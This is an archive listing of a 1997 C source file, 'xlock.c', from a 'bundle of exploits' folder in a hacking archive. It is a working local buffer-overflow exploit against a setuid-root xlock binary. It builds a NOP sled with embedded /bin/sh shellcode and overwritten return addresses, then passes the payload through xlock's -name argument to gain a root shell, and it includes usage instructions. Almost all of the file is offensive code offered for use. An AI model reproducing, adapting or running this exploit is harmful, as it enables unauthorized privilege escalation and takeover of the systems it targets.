home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xlock.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  2KB  |  61 lines

  1. /*   x86 XLOCK overflow exploit
  2.      by cesaro@0wned.org 4/17/97
  3.  
  4.      Original exploit framework - lpr exploit
  5.  
  6.      Usage: make xlock-exploit
  7.             xlock-exploit  <optional_offset>
  8.  
  9.      Assumptions: xlock is suid root, and installed in /usr/X11/bin
  10. */
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <unistd.h>
  14.  
  15. #define DEFAULT_OFFSET          50
  16. #define BUFFER_SIZE             996
  17.  
  18. long get_esp(void)
  19. {
  20.    __asm__("movl %esp,%eax\n");
  21. }
  22.  
  23. int main(int argc, char *argv[])
  24. {
  25.    char *buff = NULL;
  26.  
  27.    unsigned long *addr_ptr = NULL;
  28.    char *ptr = NULL;
  29.    int dfltOFFSET = DEFAULT_OFFSET;
  30.  
  31.    u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  32.                           "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  33.                           "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  34.                           "\xd7\xff\xff\xff/bin/sh";
  35.   int i;
  36.  
  37.    if (argc > 1)
  38.       dfltOFFSET = atoi(argv[1]);
  39.    else printf("You can specify another offset as a parameter if you 
  40. need...\n");
  41.  
  42.    buff = malloc(4096);
  43.    if(!buff)
  44.    {
  45.       printf("can't allocate memory\n");
  46.       exit(0);
  47.    }
  48.    ptr = buff;
  49.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  50.    ptr += BUFFER_SIZE-strlen(execshell);
  51.    for(i=0;i < strlen(execshell);i++)
  52.       *(ptr++) = execshell[i];
  53.    addr_ptr = (long *)ptr;
  54.    for(i=0;i<2;i++)
  55.       *(addr_ptr++) = get_esp() + dfltOFFSET;
  56.    ptr = (char *)addr_ptr;
  57.    *ptr = 0;
  58.    execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
  59. }
  60.  
  61.